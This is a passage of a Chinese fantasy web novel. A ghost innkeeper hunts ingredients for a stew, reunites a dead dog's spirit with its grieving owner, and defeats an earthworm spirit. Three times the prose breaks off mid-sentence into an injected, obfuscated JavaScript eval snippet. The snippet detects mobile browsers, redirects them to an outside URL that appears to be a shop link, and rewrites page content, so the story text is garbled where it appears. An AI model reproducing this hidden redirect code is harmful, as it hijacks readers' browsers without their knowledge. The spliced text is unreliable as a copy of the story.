“那是裴宴辞自己的因果，与你何干？”范离原双眼通红，眼白上的血丝好似她心头的裂痕“都说事不过三，你那罪状书上得有三十则了罢。谢轻荼，你又是何苦，非得入了那十八层地狱才罢休么？” 谢轻荼听到因果就头疼：“我不再是鬼差了，也不再能左右他人生死，谈何因果。” 她靠近范离原，那堵透明的墙仿佛也裂开了道缝隙，二人的气息透过裂痕交织在一起，谢轻荼用只有她们能听见气声说：“离原，倘若我告诉你，之所以这么做，只是因着愧疚呢。他的因算是我种下的，果也该由我承受。” 那恍惚的语气扎根于时间本身，而其中所蕴含的思绪，却似是远离现在，飘向了经人遗忘的过去。 范离原知道自己是不能令谢轻荼回心转意了，周身阴风乍起，她抬手袭向对方心口，一点余地都不留。谢轻荼也不避，硬生生挨下这掌。 到底同为千年老鬼，她只觉喉间腥甜，眼前一黑。再睁眼时，范离原已经离去了。 踏雪从门缝中挤出脑袋，口中响起啧啧声：“她上回揍你是何时？” “儿时罢。”谢轻荼挣扎起身。 一人自身后扶住她，裴宴辞缩回双手，悲伤的目光落到她面上。 “谢掌柜，我是不是给你添麻烦了？” 谢轻荼想说这事怨不得他，从头至尾都是自己咎由自取，可张了张嘴，那句话终究是咽了回去。 裴宴辞眼底的光也熄了，他借来纸笔，写下浮圆子的制作工序。等墨迹干透，他叮嘱踏雪：“馅料里莫放太多香油，会掩住芝麻的香气。” “谢掌柜，多谢你。”他又转向谢轻荼，低头行礼，“我该告辞了。” 踏雪捏着纸张，见他身影彻底隐于雾中，愣怔地问：“就让他这么走了？” 摇钱树来了不过一日，这便要离开了？ 谢轻荼自始至终都没有阻拦，依旧是那句话。 “该来的，自然会来。” 该离开的，也总会离开。 4. 六味煲·壹 “六味煲好吃么？” “自然是好吃的，食客们回回都点这道菜。”客人在纸上写下食谱，边回应踏雪的话。说罢，他又恨恨地瞋了发呆的裴宴辞一眼。 他生前经营一家饭馆，最是得意自己的手艺。听闻无言客栈有位做浮圆子很好吃的厨子，便想来切磋一番。 结果这人只是简单一颠勺，就将他精心烹制的佳肴衬得黯然失色。 他气极，却又无可奈何。 裴宴辞浑然不觉，时不时往谢轻荼那边瞟。谢掌柜倚着躺椅，闭目养神，她似乎因范离原那掌元气大伤，连着几日都病蔫蔫的，本就苍白的面颊如今更是白得像纸。 那晚离开客栈后，裴宴辞在河边睡了几宿，醒来时浑身冰碴。终归是爱操心的命，他放心不下无言客栈，也不知踏雪学会煮浮圆子没，便悄悄守在客栈附近。 只见客人们白着脸进去，又绿着脸出来。 踏雪缀在后头挽留，不就是芝麻馅没煮熟，至于么。随后它一眼瞧见缩在墙根的裴宴辞，好似攥住救命稻草般，想也不想便将他扯进灶房，全然忘了那晚的闹剧。 于是乎裴宴辞又理所当然地回到无言客栈。 而对于他的去而复返，谢轻荼始终未曾表态，只是照旧为他提供卧房。 裴宴辞自觉理亏，尽管不知自己究竟做错何事，但就是理亏。他也不敢再去叨扰对方，一头扎进灶房，欲用吃食来弥补过错。 这头谢轻荼一门心思全在范离原身上，她心底盘算时辰，想着好友差不多该消气了，昨日便去府上拜访，结果吃了个闭门羹。 想来范离原此次是气极了。 她拎着碧落清酿，在门口等了许久。 府内，范离原驱一只小鬼出来，那小鬼夺过酒坛，瓮声瓮气撂下一句，我家主子说了，谢轻荼与狗不得入内，但碧落清酿可以，而后又抱着酒坛砸上大门。 谢轻荼失笑。 她想着过些时日，让裴宴辞做些吃食，她再借花献佛地上门赔罪。范离原不爱吃甜，浮圆子自然是不行的，这六味煲恰是一场及时雨。 “现下上元佳节已过，谁还乐意吃浮圆子那甜腻玩意。”客人放下毛笔，“听我一声劝，六味煲在人间很是受人喜爱。若是无言客栈推出这道菜，谁还会去那望泉客栈呢？” “冬笋，粉丝，河虾，腊肉，竹荪。”踏雪摁住纸张，歪头问道，“既是六味煲，那还有一味呢？” “这…”客人挪开目光，揩掉脑门上并不存在的汗珠，“还有一味，便是厨子的心意。” 踏雪：“……” 净胡诌呢。 “我该走了，赶着去投胎。”客人匆忙起身，临出门时又回头笑，“待我下一世途径狭间，再来无言客栈尝这六味煲罢。” 谢轻荼同他告别，随后盘算一番，狭间商铺里的食材多是易保存的干货，腊肉粉丝倒好说，那些讲求时节的就别想了。她进了里屋，自抽屉中翻出一沓纸笺，撕下一张，提笔：“去人间寻食材，告假三日。” 将纸笺叠成纸鹤后，她又给脑袋两侧点上墨渍。只见纸鹤凭空晃了晃，扑棱着那对叫她折得平整的翅膀，向客栈外去。 不消多时，纸鹤飞回。谢轻荼摊开纸笺，上头是府君遒劲的字迹：“一日。” 她还想再讨价还价，写着两日的纸鹤飞出客栈，便没回来了。府君懒得再搭理她，只在河面洞开一道漩涡，催促她快些动身。 一日就一日罢。 谢轻荼跃入漩涡，水流之中，她隐约感到毛茸茸的物什擦过腰身，好似叫一张羊绒地垫托着。还来不及细思那是何物，她便抵达了人间。 城郊外，五官毫无记忆点的女子现身河岸。这是谢轻荼事先备好的皮囊，鬼无实体，只有覆着皮囊，方可被人瞧见。 吧哒吧哒。 身后一阵蹚水声，黄狗甩着尾巴，摇头晃脑地蹿到她脚边，抖落毛上水珠，墨色眼珠盯住她。 谢轻荼：“……” 糟了。 她不设防备，竟让这狗儿随她溜出狭间。漩涡已经合上，唯有一日后方能再度开启，也就是说，要等到一日后，再将它送回去。 除鬼差外，鬼魂是不得去到人间的，否则天下便乱套了。更别提在人间滞留一日，这是彻底坏了规矩，倘若府君晓得了，免不了又是一顿责罚。 谢轻荼面上风轻云淡，心底却像灌了热油似的急得滋滋响。她蹲下身子，那黄狗咧着舌头凑近，很有礼貌地舔了舔她的手指，谢轻荼虽套着皮囊，但本质上还是鬼，因而能毫无阻碍地触及它。她轻抚对方脊背，狗儿毛色干枯，白毛簇拥在五官周围，瞧着上了年纪，身上也并无外伤。 这是只寿终正寝的狗。 她尝试同对方讲道理：“你在此处，莫要走动。” 谢轻荼显然高估了自己的气运，并非所有动物都似踏雪那般，能听懂人言。黄狗歪着脑袋瞧她半晌，而后低头在地上嗅了嗅，转身向林子外跑去。 无法，她只得跟上。 上元佳节已过，街上红灯笼尽数被卸下。现下是卯时，行人步履匆忙，早点铺飘出白烟，携面食香气穿过街口。 黄狗似是对此处很熟悉，瞧瞧早点铺，又在行人脚边打个转，全然没有要等谢轻荼的意思。它现下是魂魄，不能叫他人瞧见，见无一人目光落到自己身上，急得小声呜咽。 谢轻荼不便在人前运起轻功，只得于它身后急行，最终停在肉铺前。 案上搁着半扇猪肉，屠户脑门尽是汗，肩上搭一块汗巾。他见了谢轻荼，放下剁肉刀：“姑娘，今日有新鲜猪肉，要么？” 既然来了，还是采买食材要紧。府君只给她一日期限，一日过后，河面上再次洞开漩涡，若是错过时机，可就回不去了。 见他头上房梁悬着的几挂腊肉，谢轻荼右手一指：“一提腊肉便好，麻烦您了。” “得嘞。” 黄狗嗅到肉香，哈喇子淌了一地。谢轻荼沿着它目光望去，肉铺角落里搁着竹筐，筐中有几根大骨棒。 “那是？” “筒子骨。”屠户将装好的腊肉递给她，闻言不知为何面色有些许黯淡，“反正现下也无人预定，你要便拿去，炖汤也是不错的。” 谢轻荼瞥一眼黄狗：“那给我一根罢，多谢。” 离开肉铺后，她寻了个无人的角落，朝黄狗晃晃骨棒：“饿了罢？若你答应，见过主人后随我回去，我便将这骨头给你。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165381|196687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 当鬼差时，她也引过不少动物亡魂，它们的执念无非是想再见主人最后一面。想来等黄狗见过主人，了却执念，也就愿意入那轮回了。 黄狗埋头啃着骨棒，也不知听进去了没，等上面黏着的肉筋都舔干净了，它又向外头蹿去。许是同谢轻荼混熟了，狗儿没再将对方撂在后头，走一段便停下等她片刻。 渐渐的谢轻荼意识到了不对，黄狗游走于店铺间，扒拉那些掌柜的裤腿，而后又垂头丧气地出来，但并未在哪家驻留。 她心底犯难，莫非这狗儿没有主人？ 人们死后，唯有亲人烧纸，方可在狭间的天地钱庄取出冥币。而动物死后，它们的动物亲友自然是不晓得要烧纸的。为了让它们能负担得起孟婆汤，地府推出新令，以记忆为媒介，若是人间还有人记得那些动物，它们亦能去钱庄取出冥币。 冥币的话，谢轻荼倒能为它垫付。只是黄狗既然没有主人，她也猜不到对方的执念究竟是什么，迟迟不愿离开，也不是个事儿。 一路上，食材也买得差不多了。她拎着河虾，见黄狗蔫蔫地趴在脚边，连尾巴都不摇了。她也不知道该如何安慰，只俯身揉了一把狗头，低声说道：“还有时间呢，再找找罢。” 临出水产铺，那掌柜的唤住她：“姑娘之后可是要去街尾的山珍坊？” 她的确要去山珍坊买竹荪。 得了答复，那掌柜的松了口气，递出只竹篓：“既然如此，可否麻烦您顺路将这篓河蚌带给山珍坊的阿絮姑娘，铺子里的伙计不在了，我这实在是忙得不可开交。” 听闻阿絮这个名字，黄狗猛地抬头。 见谢轻荼应下，掌柜道声多谢，又多送了她一些虾蟹。等再出铺子时，黄狗已经没影了。 山珍坊。 院落不大，腊梅自墙头探出。 风铃声响，甫一进门，谢轻荼便见黄狗蹲坐在一姑娘身边，想来这位就是阿絮了。 阿絮放下手里的活，走近时药草香扑面而来：“姑娘，要些什么？” 她走路有些瘸，罗裙下的脚踝处纱布若隐若现，药草味便是自那传出。发觉谢轻荼的目光，她颇为不好意思地将腿缩回裙摆下。 “今日可还有竹荪？”谢轻荼放下竹篓问道。 “不巧，竹荪昨日便卖光了。”阿絮面露难色，“我正打算上山去采，劳烦您稍作歇息。” 她拄着拐棍，引谢轻荼在竹椅上坐下，又一瘸一拐地去倒茶。黄狗护在身侧，生怕她跌了，那尾巴摇得热烈，虚影不受阻碍地透过阿絮的小腿，而后又是一阵唯有谢轻荼能听见的呜咽响起。黄狗想不明白，为何自己就在这里，却怎么也挨不到眼前之人。 谢轻荼拦住她：“茶水就免了，我同你一道上山罢。” 阿絮受宠若惊：“这怎的好意思。” 谢轻荼拿接过她平日里采菌用的篓筐：“无事。” 她哪敢放腿脚不便的阿絮独自为她上山采竹荪，若对方不慎跌倒摔伤了，她怕是好几年都会感到过意不去。况且现下已是晌午，也不知会在山里耽搁多久，多一人，总会快些。 阿絮犹豫半晌，没再推辞，谢过了她。二人一狗便踏出院门，向雾气缭绕的群山而去。 5. 六味煲·贰 人间正值早春，冬日尾巴余下的寒意尚未褪尽。积雪被扫至道路两侧，浸在泥水里。 二人一狗行至山脚下，阿絮倔强，一路上都没肯要谢轻荼搀扶，一瘸一拐地走着，脊背如春竹般挺直。 黄狗照例护在她身侧，也不在乎能否挨到了。若是哪个不长眼的行人企图往阿絮身上撞，它便狠狠地吠上几声。 山坡上是一片坟地，上元佳节烧剩的纸钱落了一地。 阿絮：“劳烦等我片刻。” 她拄拐在荒草地中穿行，最后停在一处坟冢前。那坟冢相比其他，实在是小得可怜，且尚未立碑。若不仔细瞧，还当是山里野兽刨的土堆。 从怀里翻出油纸包裹的物什，摊开，里头是块巴掌大的腊肉。 将腊肉搁在坟前，她跪坐下，轻柔嗓音消散于风中：“我来见你了。” 她絮絮叨叨说了许多，脑袋也愈发低垂。长睫自眼底投下孤寂的弧度，一滴泪落下，坠到油纸上，晕染出不规则的圆。 黄狗嗅了嗅她的脸颊，尾巴随之耷拉下来。 念及谢轻荼，她并未停留太久。起身时面上恢复一贯温婉而又自然的表情，眼眶周围的红好似只是被寒风吹出的。 谢轻荼始终未曾言语，只安静地等待着她。 周身奶白色的浓雾弥漫，几人走在山道上，许是鲜少有人上山的缘故，小道杂草丛生。谢轻荼被远处那黄色身影领着前行，又分神顾及身后的阿絮，以免对方不慎踩到湿泥跌了。 黄狗很熟悉此地，一路小跑走在前头，时不时回头张望一眼。 她们走走停停，各色菌类与野菜铺在筐底。见阿絮脸色逐渐苍白，仍是闷不吭声，脚步也有些吃力，谢轻荼晓得她是不愿在人前露怯，便主动开口道：“歇会罢。” “也好，竹林就在前头。”阿絮松了口气，寻块石头坐下，“得省点劲采竹荪。” 她避开纱布，揉了揉酸胀的脚踝，一双眸子不住地悄然往谢轻荼面上瞟。那张脸实在堪称普通，扔到街上的人群中都找不出来，甚至她一分神，对方五官的轮廓就在脑海中逐渐隐去了。 谢轻荼总是端着幅淡漠神色，连关照人的语气都染着一点凉，但阿絮却心细地发觉对方漠然外表下隐约藏着的，柔软的内里。她恍惚地想，这般内里，同谢轻荼那寡淡无味的皮囊着实不太搭。 黄狗挤到阿絮身后，下意识想用自己的身体当靠枕，隔开她与布满苔藓的树干。阿絮不自觉地向后靠，脊背穿过黄狗的虚影，周身蓦地攀上一股寒意。 纵使再通人性，黄狗到底还是寻常的狗儿，哪里又明白人鬼殊途的道理。亡魂本身萦绕鬼气，山间又是极阴之地，若是它的魂魄长久地附在阿絮身边，怕是对方会叫那阴气所伤。 见此，谢轻荼暗中招手，口型示意它：“过来。” 黄狗不情愿地朝她走去。 阿絮浑然不知，只觉那股寒气散去，转眼谢轻荼又复归端坐模样。她摇了摇头，当是自己前些时日受了风寒。 晌午日光稍许驱散山间浓雾，谢轻荼那毫无记忆点的五官又自雾气中浮现出。歇息片刻，她正欲起身，却听阿絮没来由地说。 “那坟中葬着我的友人。” 谢轻荼心头一动，一路上她始终不曾提及坟前之事，是因怕勾起阿絮的伤心事。对方现下主动开口，她便安静地听着。 “谢姑娘，不怕你笑话，我虽经营山珍坊多年，也惯常上山采菌，但我自小便不大会识路。若是山间雾浓了，我得花上大半天时间走出去。”阿絮笑笑，转而眉眼间又覆上一抹哀凄。 黄狗得了谢轻荼告诫，不再轻易靠近阿絮。似是嗅到空气中悲伤的氛围，它蔫蔫地趴在地上，尾巴也耷拉着。 “后来我遇见了那位友人。”阿絮轻声说，喉头有些哽咽，“一日我又迷失于山间，还不慎遇上郊狼。那时我以为自己命数已尽，我那友人却忽地出现，打退狼群，自己被咬得浑身是伤，疼得直喘气还朝我笑。” “我将其带回山珍坊疗伤，自那以后，像放心不下似的，它便日日同我上山采菌，因而我也不再迷路。” 后面的事，她不说谢轻荼也能猜到。 “上元佳节前走的。”阿絮揉揉红透的眼眶，“之后我又独自上山，好似冥冥之中失去了保护神，我失魂落魄间崴了脚，滚下山坡，这才被枝杈划伤了脚踝。” 她拄拐起身，照例无须搀扶。见谢轻荼低垂目光，她深吸口气，弯起的嘴角挤落唇边那一枚泪珠：“你瞧，我又忍不住向谢姑娘你提那些伤心事，惹得你同我一道难过。实在对不住，时候不早了，咱们走罢。” 竹林。 竹荪冒头，阿絮蹲下，将白软的裙边自菌柄上分离开，妥善地放入筐中。随后她掩好菌群，周边百姓靠山吃山，只要菌群尚在，来年又能生出一大片竹荪。 想起谢轻荼先前手上提的那些食材，现下又有了竹荪，阿絮问道：“谢姑娘可是要做那六味煲？” 见对方点头，她了然地笑了：“我曾在安禅饭馆尝过那六味煲，饭馆主人的手艺甚是好，闷出的六味煲能叫人鲜掉牙齿。竹荪新鲜，谢姑娘家里人有口福了。” 谢轻荼暗想有口福的是她才是，劳心费神的另有其人。听闻安禅饭馆几字，她忽觉有些耳熟：“那安禅饭馆的主人，可是一矮胖敦实的男子？” 她所说的，便是无言客栈那位客人。 “你认得他？”阿絮转而吐出一声叹息，“不巧，他前些日子去世了。世事无常，只可惜再也尝不到那般美味的六味煲了。” 黄狗原本安静地听她们说话，忽地耳朵一转，扭头望向竹林外。随后它颈毛炸起，喉咙间滚出呜呜声。 空气中染上一丝不同寻常的气息。 墨色眸子滑向侧边，谢轻荼不着痕迹地偏头，她眼中流光转瞬即逝，轻易地便望见几丈之外的树干后，隐约藏着抹衣角。 她向愣在原地的阿絮做了个噤声的手势，蹲下腰身，佯装寻找竹荪，而后拾起一枚碎石，指尖夹着，以迅雷不知掩耳之势掷向树后。 破空声响起，只见空中一道轨迹宛如丝线。碎石径直砸向那抹衣角，一点都不曾偏离，痛呼随之响起。 “哎呦喂！” 透过重叠枝杈的间隙，谢轻荼见一人影捂着腰侧走出，口中连声哀嚎：“姑娘，你怎的这般狠心，老朽的骨头都要叫你砸断了。” 老翁嘶嘶吸气，像是疼极了。他褂子上尽是泥土脏污，好似在土里滚了几遭。 谢轻荼直勾勾地盯住他：“你是何人？” 叫那眼神盯得发怵，老翁缩了缩脖颈，软下语气讨饶：“别，别，我不是坏人。我那孙儿染了风寒，老朽便前来山间采草药。” “为何在我们后头不出声。”谢轻荼质问。 “姑娘，你怕是不晓得，传闻这山里有食人魂魄的精怪。”老翁面有怯色，“我正寻草药呢，甫一见两位姑娘在这荒无人烟的山间，哪敢贸然现身。老朽胆小， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165382|196687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家里孙儿仍等着人照料，还请姑娘莫怪。” 他不住地搓手，眼里怯怯的，许是将谢轻荼和阿絮当作化形的精怪了。 闻言，阿絮有些不忍：“老伯，山间雾大。你且随我们一道下山罢，我沿路替你寻那草药。” “这…”老翁暗暗觑了谢轻荼一眼，浑浊眼瞳滴溜溜地转，半晌才哎哎两声，“那便有劳姑娘了。” 一行人打道回府，见老翁走得颤颤巍巍的，阿絮恨不得将自己的拐棍借给他：“老伯，我惯常上山采菌，却未曾听闻过什么精怪传闻。” “姑娘，你尚还年轻，不晓得这些也正常。”老翁慢悠悠道，“这一传闻还是我幼时从家母那听来的，若不是为了孙儿，老朽也不会来这深山。” 他转向谢轻荼，上下打量几眼，复又赞叹道：“这位姑娘莫不是什么能人异士，功夫可谓了得，将那碎石使得如同暗器似的。” “过奖。”谢轻荼语气淡淡的，“只是在戏班子打过杂，学了几门手艺，都是些旁门左道，称不上能人异士。” 她暂且借用了裴宴辞的身份。 “在这山间，会些旁门左道也是好的。”老翁像是松了口气，“山上雾大，幸好你们得这黄狗。这狗儿瞧着极通人性，有它在，也不怕迷路了。” 他一指黄狗，见被对方一瞬不瞬地盯着，转而又撇开目光。 阿絮脚踝疼得厉害，纱布隐约渗血，额上也浸出豆大的汗珠。谢轻荼深知她爱逞强的脾性，便同她道：“你且在此处稍作歇息，我同老伯去寻草药。” 见阿絮仍不放心似的，她轻声道：“寻常草药我还是认得的。” 她指示黄狗守在阿絮身侧，指尖点了点老翁肩膀。对方浑身一颤，回神，同她往小径外的林子中走去。 走了一段路，等阿絮再也听不见二人声音时，谢轻荼没来由地问：“老伯今年贵庚？” “贵字担不起。”老翁不知她为何这么问，面色踌躇地答道，“临近古稀之年，已是一把老骨头了。” 她又道：“可还记得，你那孙儿要的是何种草药？” 被对方一打岔，老翁像是方记起这茬似的，目光有些游离：“记，记得的，老鹳草便好。” “巧了。”谢轻荼指向树下，“那不正是老鹳草么？” 手指的地方有片植被，叶片濛濛一层绿意，边沿被霜冻得打了蔫。 “还是姑娘你眼力好。”老翁面露喜色，走过去俯身在土中挖掘，轻易地便摸到根系，将其连根拔起，正要回头，却听身后一声轻笑。 “可这是蕨菜。”谢轻荼靠近，“老伯在这世上活了六十余载，竟连老鹳草和蕨菜都分不清么。” 听着逐渐逼近的脚步声，老翁晓得自己中了圈套，他勉强压下心底的惊惶：“你瞧我这老眼昏花的，人老了，不中用了，还望姑娘莫怪。” 话音未落，他只觉心口一凉，僵硬地垂下脖颈，见一只手掌自身前探出，指间萦绕森然鬼气。 身体被洞穿，他却像是没有痛觉似的，一声不吭，脖颈没了骨头似的拧出诡异的弧度，转过脑袋，面无表情地盯着谢轻荼。 人类的脖子若是拧成这般，怕是早已命丧黄泉了。 “姑娘为何会猜到？” 老翁声带扭曲，嗓音也随之含糊。 “寻常人可瞧不见那黄狗，你究竟是何人？”谢轻荼覆上寒意的眼眸锁住他，“不，该说你本就不是人。” “现形罢，地龙。” 6. 六味煲·叁 地龙于山间泥土下沉眠百余年，吸食天地精华。做了百年虫豸，他迫切地想要化为人形，却仍是差了些许。 直到几日前，一抹血气渗入地下。他受那血气滋养，逐渐生出四肢与头颅，最后化作一老翁。 “地龙本无双目。”谢轻荼嫌恶地抹去手上精怪的血液，“你化形不过数日，因而无法只凭眼睛分辨老鹳草与蕨菜。” 地龙恨恨地盯着她。 “先前我向你掷出碎石，那声痛呼也是装的，地龙没有痛觉。你悄无声息地跟在我们后头，是想寻个时机下手，精怪初化形时，是最须血肉的。” “我猜，是因着那日阿絮在山上见血，你汲取她的血气，这才有了人形。你口中的精怪，怕是自己罢。” 谢轻荼的嗓音好似裹挟冰霜：“我说得对么？” 地龙忽然笑了。 “谢姑娘明察秋毫。”他不甚在意地抚上心口的大洞，“你一早便发觉不对，愣是等到现下才揭穿我。这般能耐，哪里像戏班子出来的，是老身失策了。” 谢轻荼不置可否。 伤口沾染鬼气，边缘泛起乌黑，像是遭火燎过。他皮肤下的肌理隐约起伏，似是包覆着万千蠕虫，一点，一点，让那处血肉再生了。 “你又是个甚么玩意呢，亡魂，厉鬼，亦或是旁的精怪？”谢轻荼那张寡淡的脸落入地龙眼中，他妄图在其上找到一丝破绽，“你与我，不都是披了张人皮么。那阿絮姑娘也是时运不济，身边尽是些牛鬼神蛇，不如咱们合作，送她个痛快得了？” 林中风起，吹得枝杈簌簌作响，停滞的气氛逐渐流转。谢轻荼透过吹乱的发丝，窥见地龙眼底浓郁的恶意。 “我说笑呢。”地龙收敛笑意，俯身朝她袭去，“你也化作我的养料罢。” 他一手撑地，没有骨骼的身体尤为柔韧，双腿宛如鞭子般抽向谢轻荼腰侧。 受皮囊桎梏，她只能使出自身五成内里。世间万物受因果法则约束，她在人间行走，自然是不能无拘无束释放鬼气的，饶是内里为千年鬼魂，也叫那一腿震得胳膊发麻。 “你也不过如此。”见谢轻荼面色不霁，地龙难免得意，眸中止不住地荡漾张狂之色。他欲再攻，腰身又是一拧，铆足了劲砸向对方门面，腿脚却落了空。 原地哪里还有谢轻荼的身影，唯剩她催动身法时扬起的草屑。这便是当初应付孟娘的那招，唤作移形换影，叫她使得出神入化。地龙只一眨眼，她便不知去了何处，连那冷寂的气息都隐了去。 来不及收回力道，地龙瞬间栽倒在地，呛了满嘴尘土。他呸呸几声，面皮恼怒地皱着。 手掌隐约感到一股颤动，他心念一动，并未急着起身，而是侧耳伏在地上，细细地听着。到底本质还是地龙，就算化形了也洗不去满身土腥味，这山林就是他的巢穴，一草一木的脉络皆凿刻在骨子里，他轻易便听见谢轻荼放轻的脚步声。 对方踮脚踏过落叶，暗香混入草木气息中。 他孕育自土中，泥土自会告诉他一切。 只一偏头，他避过袭向后颈的手掌，大笑：“我在山中百年，于此地界，你是讨不着好的。束手就擒罢，来世莫再误入这片山林了。” 他不愿再同对方浪费口舌，五官如浓稠的膏油般化开，肩膀也塌陷下去。足有三人长的地龙自领口钻出，一头栽下，没入土中，没了踪影。 即便早有预料，但甫一见着那泛着滑腻油光的环形纹理时，谢轻荼仍是不免犯恶心。这般丑陋可怖的身体，也难怪他迫切想要化形。 地下传出响动，泥土拱起，蜿蜒向前。他虽化为地龙，没了双目，旁的感官却尤为明了，轻易便感知到包覆周身的土壤昭示的谢轻荼的动向。而后他自那人身后破土而出，猛地圈住对方小腿，欲将其拽入松动的泥地中。 她的身体将会是很好的养料。 眼见那双腿已然沉入土中，就要被生生活埋，地龙却意识到不对。谢轻荼一下都不曾挣扎，像是死了似的，他桎梏之下的身体蓦地一松，如被扎破的鱼泡那般软了下去，瘫在地上，俨然已是一张人皮。 怎么会？地龙大惊。 而后他倏然僵在原地。 鬼气蔓延，无孔不入地渗透林间，周遭植被瞬间枯萎。地龙仿佛叫人攥住魂魄，肉身也将要叫那气势碾碎了。 那是一种比他更古老，更深刻的存在。 卸下皮囊的谢轻荼脚步轻缓，一袭白衣翩然，宛若自天界下凡，周身却透出神惊鬼惧的压迫感。地龙僵硬的身体叫那墨色眼眸掠过，心头骇然，若非他现下没有双足，怕是已经腿软到跪下了。 整片山林都好像死了。 他该逃了，地龙只有这一个念头。若是再不逃，他百年修为就要葬送于此了。 泥土拱起的脉络逐渐远去，谢轻荼心下一凛，地龙离去的方位正是阿絮所在之处，那虫豸迫不及待地欲啖食生人血肉，以助长自身功力。 她又岂能叫对方得逞，当下便唤回皮囊，足尖一点踏轻功而去。 那边阿絮等了许久，放心不下，正要去寻那二人，却闻远处一声轻响，似是撕裂布帛。 黄狗狂吠。 响动绵延不绝地朝她逼近，正思忖那究竟是何物，猝不及防一条大蛇自面前蹿出。不，那并非大蛇，阿絮盯着他皮肤上的纹路，心下骇然。拐棍落在地上，她只觉脚踝刺痛，见那地龙牢牢缠住她伤处，纱布脱落，鲜血沾染裙摆。 目睹这一幕，黄狗听闻她痛叫，目眦欲裂。 地龙感知到熟悉的血气，分外沉醉，连那畜生的吠叫造成的不快也自心头抹去。对方既是亡魂，挨不到他，又何须在意。 这般想着，皮肉间却猛然绽开一股剧痛。 黄狗死死地咬住了他。 常言道人鬼殊途，若是鬼扰乱人的因果，或是人擅闯鬼的地界，皆是违背天地法则。精怪与妖物处在二者之间，但仍多有限制。 人间与地府终归是隔了道界线，若有什么能跨越那道界线，便可谓之奇景。 天地间又怎会有这般奇景？ 只是世间鲜少有人知晓，倘若执念至深，思念甚重，便可通阴阳。 地龙愕然，如何也挣脱不了那深深没入的犬齿。他生出滔天恨意，放开阿絮转而缠住黄狗，狠下心，一使劲，束紧了对方的脖颈。 不过畜生，拿什么同他百年修为斗。 这番场景落在阿絮眼中，便是地龙正同空气缠斗，他绞紧一无形之物，渗出鲜血的伤口边沿烙着一圈齿痕。 十年前，她曾在郊狼身上见过这种痕迹。 阿絮怔怔地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165383|196687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞧着，眼底水雾弥漫，满含难以承受的光。 她终于想明白了，那股寒意，那股始终萦绕在自己身侧的，却让她忽视的气息究竟是什么，泪珠控制不住地滚落出眼眶。 “稻谷，是你么？” 这便是她在坟前念叨数遍的名字。 黄狗不再能回应她，它就要遭地龙绞得魂飞魄散，转瞬便逐渐没了动静。地龙撇下它，又转向阿絮。 不要。 黄狗欲费力起身，又倒在地上，眼睁睁见那丑陋的身影离自己远去。人类是何等脆弱的生灵，连它都敌不过那妖物，更何况是阿絮。 绝望之际，林子深处，一阵羽翼扑棱声响传入耳中。 在场所有人都听见了那响动，其中当属地龙反应最为明显，一下子浑身卸了力道。无论何人都逃不过自然法则，虫豸食草木，而鸟雀食虫豸，刻在骨子里的畏怯，并非百年修为足以消弭。 枝杈间蹿出一纸鹤，之后又是一只，足有上百只的纸鹤于林间交织出一片苍白之色。自那之后走出的女子，正是谢轻荼。 “去罢。” 纸鹤得令，一同袭向地龙。虫豸本能使他惊惧万分，连钻回土中都忘了，任凭纸鹤啄食柔软的身体。分明是纸叠的喙，却如刀尖般刺破皮肤，他的修为亦同血肉一道流逝。 府君给的东西就是好使，只不过纸笺已经用尽了，之后还得再去向他讨要。谢轻荼轻叹一声，麻烦。 哀嚎响彻山间。 片刻后，见事态终了，她唤回纸鹤。 地龙已缩回寻常虫豸大小，蠕动肢体，再无人智，也再不会有那害人的心思。她将地龙埋回土里，让其回到原本的命途之中。 又是一笔因果债，谢轻荼不着痕迹地暗叹。 阿絮仍惊魂未定，这般画面，她也只在话本子里见过。她一双眸子黏在谢轻荼面上，挪开，又转回来：“谢姑娘，你可是天界下凡的仙人？” 若非仙人，又有何人能操纵那般多的纸鹤呢。许是对方流露出的气息矜贵端庄，她并未思及旁的可能性。 谢轻荼：“……” 倘若她说自己是比那精怪还要可怖的鬼魅，这姑娘怕是胆要彻底吓破了。 她不置可否，只叮嘱道：“今日之事，莫要同他人言道。” 阿絮低低应了声，左顾右盼后又踌躇道：“它，在此处么？” 谢轻荼自然晓得它指的是谁，她渡了些鬼气给黄狗。后者脚步虚浮地起身，顾不上自己，扭头便去瞧阿絮。见对方无恙，尾巴摇晃弧度夸张得不像话。 得了谢轻荼颔首，阿絮朝前方探出手掌，黄狗自觉地将脑袋搁在她手下。她并未挨到任何物什，一人一狗复又退回至那道界线的两端，阿絮只能想象狗儿些许干枯的毛发，和那对无论何时都满含赤忱的双眼。 “稻谷。”她轻声唤它。 